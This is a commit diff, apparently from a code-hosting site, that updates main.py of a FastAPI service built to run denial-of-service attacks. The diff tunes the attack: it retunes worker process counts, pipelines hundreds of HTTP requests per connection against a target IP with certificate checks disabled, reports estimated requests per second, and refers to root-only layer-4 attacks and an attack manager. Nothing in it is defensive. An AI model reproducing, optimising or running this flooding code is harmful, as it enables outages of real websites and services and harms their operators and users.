Samuraiog commited on
Commit
3b939d7
·
verified ·
1 Parent(s): 678a01d

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +40 -39
main.py CHANGED
@@ -35,29 +35,28 @@ app = FastAPI(
35
  CPU_COUNT = psutil.cpu_count(logical=True) or 8
36
  TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
37
 
38
- # ULTRA-SIMPLE CONFIG - No threading, pure multiprocessing
39
- # Each process creates many sockets in a tight loop
40
  def calculate_optimal_config():
41
- """Calculate processes only - no threads!"""
42
- # Simple: Lots of processes, each managing socket pool
43
  if CPU_COUNT >= 32:
44
- MAX_PROCESSES = CPU_COUNT * 16 # 512 processes for 32 cores
45
  elif CPU_COUNT >= 16:
46
- MAX_PROCESSES = CPU_COUNT * 20 # 320 processes for 16 cores
47
  elif CPU_COUNT >= 8:
48
- MAX_PROCESSES = CPU_COUNT * 32 # 256 processes for 8 cores
49
  elif CPU_COUNT >= 4:
50
- MAX_PROCESSES = CPU_COUNT * 48 # 192 processes for 4 cores
51
  else:
52
- MAX_PROCESSES = CPU_COUNT * 64 # 128 processes for 2 cores
53
 
54
- SOCKETS_PER_PROCESS = 100 # Each process manages 100 persistent sockets
55
- total_workers = MAX_PROCESSES * SOCKETS_PER_PROCESS
56
 
57
- return MAX_PROCESSES, SOCKETS_PER_PROCESS, total_workers
58
 
59
  MAX_PROCESSES, MAX_CONCURRENCY_PER_PROCESS, TOTAL_WORKERS = calculate_optimal_config()
60
- STATS_BATCH_UPDATE_SIZE = 1000 # Large batches
61
 
62
  # --- L7 Enhanced Headers Pool ---
63
  USER_AGENTS = [
@@ -250,8 +249,8 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
250
  # ====================================================================================
251
  # SIMPLE L7 WORKER - BLOCKING SOCKETS THAT ACTUALLY WORK!
252
  # ====================================================================================
253
- def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, socket_count):
254
- """L7 worker - SIMPLE APPROACH: Create socket, send burst, repeat."""
255
  use_ssl = (port in [443, 8443])
256
  host = target_ip
257
 
@@ -260,18 +259,23 @@ def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method,
260
 
261
  local_counter = 0
262
  req_counter = 0
 
263
 
264
- print(f"[PID {os.getpid()}] Worker started - targeting {host}:{port}", flush=True)
265
 
266
- # SIMPLE LOOP: Connect, send many requests, disconnect, repeat
267
  while not stop_event.is_set():
268
  sock = None
269
  try:
270
- # Create and connect socket
271
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
272
  sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
273
- sock.settimeout(5)
 
 
 
274
  sock.connect((host, port))
 
275
 
276
  if use_ssl:
277
  import ssl as ssl_module
@@ -280,30 +284,29 @@ def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method,
280
  context.verify_mode = ssl_module.CERT_NONE
281
  sock = context.wrap_socket(sock, server_hostname=host)
282
 
283
- # Send burst of requests (pipeline)
284
- for _ in range(200): # 200 requests per connection
285
  if stop_event.is_set():
286
  break
287
 
288
  try:
289
  request = http_template.format(req_counter).encode()
290
- sock.sendall(request)
291
  local_counter += 1
292
  req_counter += 1
293
- except:
294
  break
295
 
296
- # Try to read response
297
  try:
298
- sock.settimeout(0.1)
299
- _ = sock.recv(8192)
300
  except:
301
  pass
302
-
303
- sock.close()
304
 
305
  except Exception as e:
306
- pass
 
 
307
  finally:
308
  if sock:
309
  try:
@@ -311,7 +314,7 @@ def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method,
311
  except:
312
  pass
313
 
314
- # Update counter in batches
315
  if local_counter >= STATS_BATCH_UPDATE_SIZE:
316
  with shared_counter.get_lock():
317
  shared_counter.value += local_counter
@@ -322,7 +325,7 @@ def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method,
322
  with shared_counter.get_lock():
323
  shared_counter.value += local_counter
324
 
325
- print(f"[PID {os.getpid()}] Worker stopped - sent {local_counter} requests", flush=True)
326
 
327
  # ====================================================================================
328
  # CENTRALIZED ATTACK MANAGER (SINGLETON)
@@ -537,12 +540,11 @@ async def on_startup():
537
  print(f" RAM: {TOTAL_RAM_GB:.1f} GB")
538
  print(f" ")
539
  print(f" Auto-Optimized Configuration:")
540
- print(f" Processes: {MAX_PROCESSES}")
541
- print(f" Sockets per Process: {MAX_CONCURRENCY_PER_PROCESS:,}")
542
- print(f" Total Concurrent Sockets: {TOTAL_WORKERS:,}")
543
  print(f" ")
544
  print(f" Expected Performance:")
545
- print(f" Target RPS: {int(TOTAL_WORKERS * 1.5):,} - {int(TOTAL_WORKERS * 3):,}")
546
  print(f" ")
547
  if check_root():
548
  print("✅ Running with root privileges - L4 attacks ENABLED")
@@ -613,10 +615,9 @@ def root():
613
  "system": {
614
  "cpu_cores": CPU_COUNT,
615
  "ram_gb": round(TOTAL_RAM_GB, 1),
616
- "max_processes": MAX_PROCESSES,
617
- "sockets_per_process": MAX_CONCURRENCY_PER_PROCESS,
618
- "total_sockets": TOTAL_WORKERS,
619
- "expected_rps": f"{int(TOTAL_WORKERS * 1.5):,} - {int(TOTAL_WORKERS * 3):,}"
620
  }
621
  }
622
 
 
35
  CPU_COUNT = psutil.cpu_count(logical=True) or 8
36
  TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
37
 
38
+ # REALISTIC CONFIG - Fewer processes that actually work
 
39
  def calculate_optimal_config():
40
+ """Calculate reasonable process count."""
41
+ # MUCH FEWER processes - focus on making them work!
42
  if CPU_COUNT >= 32:
43
+ MAX_PROCESSES = CPU_COUNT * 2 # 64-96 processes for 32-48 cores
44
  elif CPU_COUNT >= 16:
45
+ MAX_PROCESSES = CPU_COUNT * 3 # 48 processes for 16 cores
46
  elif CPU_COUNT >= 8:
47
+ MAX_PROCESSES = CPU_COUNT * 4 # 32 processes for 8 cores
48
  elif CPU_COUNT >= 4:
49
+ MAX_PROCESSES = CPU_COUNT * 6 # 24 processes for 4 cores
50
  else:
51
+ MAX_PROCESSES = CPU_COUNT * 8 # 16 processes for 2 cores
52
 
53
+ REQUESTS_PER_CONNECTION = 500 # Send 500 requests per socket
54
+ total_capacity = MAX_PROCESSES * REQUESTS_PER_CONNECTION
55
 
56
+ return MAX_PROCESSES, REQUESTS_PER_CONNECTION, total_capacity
57
 
58
  MAX_PROCESSES, MAX_CONCURRENCY_PER_PROCESS, TOTAL_WORKERS = calculate_optimal_config()
59
+ STATS_BATCH_UPDATE_SIZE = 100 # Smaller batches for better feedback
60
 
61
  # --- L7 Enhanced Headers Pool ---
62
  USER_AGENTS = [
 
249
  # ====================================================================================
250
  # SIMPLE L7 WORKER - BLOCKING SOCKETS THAT ACTUALLY WORK!
251
  # ====================================================================================
252
+ def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, requests_per_conn):
253
+ """L7 worker - SIMPLE blocking approach."""
254
  use_ssl = (port in [443, 8443])
255
  host = target_ip
256
 
 
259
 
260
  local_counter = 0
261
  req_counter = 0
262
+ conn_count = 0
263
 
264
+ print(f"[PID {os.getpid()}] Worker starting...", flush=True)
265
 
266
+ # TIGHT LOOP: Connect Send burst Disconnect → Repeat
267
  while not stop_event.is_set():
268
  sock = None
269
  try:
270
+ # Create socket
271
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
272
  sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
273
+ sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 65536)
274
+ sock.settimeout(3)
275
+
276
+ # Connect
277
  sock.connect((host, port))
278
+ conn_count += 1
279
 
280
  if use_ssl:
281
  import ssl as ssl_module
 
284
  context.verify_mode = ssl_module.CERT_NONE
285
  sock = context.wrap_socket(sock, server_hostname=host)
286
 
287
+ # Send burst of pipelined requests
288
+ for i in range(requests_per_conn):
289
  if stop_event.is_set():
290
  break
291
 
292
  try:
293
  request = http_template.format(req_counter).encode()
294
+ sock.send(request)
295
  local_counter += 1
296
  req_counter += 1
297
+ except Exception as e:
298
  break
299
 
300
+ # Close connection
301
  try:
302
+ sock.close()
 
303
  except:
304
  pass
 
 
305
 
306
  except Exception as e:
307
+ if conn_count == 0: # First connection failed
308
+ print(f"[PID {os.getpid()}] Connection failed: {e}", flush=True)
309
+ time.sleep(1)
310
  finally:
311
  if sock:
312
  try:
 
314
  except:
315
  pass
316
 
317
+ # Update shared counter in batches
318
  if local_counter >= STATS_BATCH_UPDATE_SIZE:
319
  with shared_counter.get_lock():
320
  shared_counter.value += local_counter
 
325
  with shared_counter.get_lock():
326
  shared_counter.value += local_counter
327
 
328
+ print(f"[PID {os.getpid()}] Worker stopped: {conn_count} connections, {local_counter} requests", flush=True)
329
 
330
  # ====================================================================================
331
  # CENTRALIZED ATTACK MANAGER (SINGLETON)
 
540
  print(f" RAM: {TOTAL_RAM_GB:.1f} GB")
541
  print(f" ")
542
  print(f" Auto-Optimized Configuration:")
543
+ print(f" Worker Processes: {MAX_PROCESSES}")
544
+ print(f" Requests per Connection: {MAX_CONCURRENCY_PER_PROCESS:,}")
 
545
  print(f" ")
546
  print(f" Expected Performance:")
547
+ print(f" Estimated RPS: {int(MAX_PROCESSES * 100):,} - {int(MAX_PROCESSES * 500):,}")
548
  print(f" ")
549
  if check_root():
550
  print("✅ Running with root privileges - L4 attacks ENABLED")
 
615
  "system": {
616
  "cpu_cores": CPU_COUNT,
617
  "ram_gb": round(TOTAL_RAM_GB, 1),
618
+ "worker_processes": MAX_PROCESSES,
619
+ "requests_per_connection": MAX_CONCURRENCY_PER_PROCESS,
620
+ "estimated_rps": f"{int(MAX_PROCESSES * 100):,} - {int(MAX_PROCESSES * 500):,}"
 
621
  }
622
  }
623